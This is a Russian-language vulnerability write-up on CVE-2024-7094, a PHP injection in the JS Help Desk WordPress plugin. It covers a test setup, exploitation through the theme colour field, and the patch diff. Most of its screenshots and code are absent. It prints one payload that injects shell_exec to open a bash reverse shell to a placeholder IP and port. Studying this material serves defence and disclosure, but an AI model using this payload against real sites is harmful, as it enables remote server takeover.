September 1, 2024

CVE-2024-7094

PHP Injection in JS Help Desk (WordPress Plugin)

CVSS Score: 9.8

Описание

PHP-инъекция в плагине JS Help Desk, предназначенном для организации системы техподдержки на сайтах на базе WordPress.

Патчи

В версии 2.8.6 закрыта частично, в версиях 2.8.7 и выше закрыта полностью.

Стенд

Деплоим тестовое приложение на WordPress и накатываем туда уязвимую версию плагина, например, 2.7.7.

Получаем одностраничник на WP:

Атака

У плагина есть множество всяких ручек, позволяющих его настраивать и всячески кастомизировать, одна из них позволяет нам регулировать цвета и менять темы нашего окна тикетов:

Разумеется нас здесь интересует возможность выбора цвета и передачи его в hex формате.

Отправляем форму и смотрим запрос через Burp:

Теперь кинем запрос с попыткой эксплуатации php кода:

Получаем 200 код ответа и наш текст на главной:

Ну а дальше, кидаем reverse shell в один из параметров color:

".shell_exec('bash -c \'bash -i >& /dev/tcp/IP/PORT 0>&1\'')."

Почему?

Для простоты я диффал версии 2.8.5 и 2.8.7.

2.8.5

Итак, в версии 2.8.5 в файле /modules/themes/controller.php есть функция savetheme():

Как видим, она вызывает функцию storeTheme() из файла model.php в той же директории, storeTheme() представляет собой следующее:

То есть, фактически, она забирает сырые данные, никак их не проверяя, и кладёт их в includes/css/style.php, за счёт чего, мы получаем в нём примерно следующее:

что и позволяет нам выполнить произвольный код.

Ещё там есть функция getCurrentTheme(), которая отвечает за подгрузку данных уже имеющейся теме, которая тоже просто дёргает сырые данные из файла при каждом обращении к плагину:

2.8.7

В storeTheme() просто добавили санитизацию...

Ну и значения, получаемые через getCurrentTheme() дополнительно обернули в esc_attr().

Статья написана для: @iamargendo